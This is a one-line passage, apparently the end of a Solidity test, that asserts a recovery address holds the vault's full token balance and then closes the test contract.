assertEq(token.balanceOf(address(recovery)), VAULT_TOKEN_BALANCE, ""); } }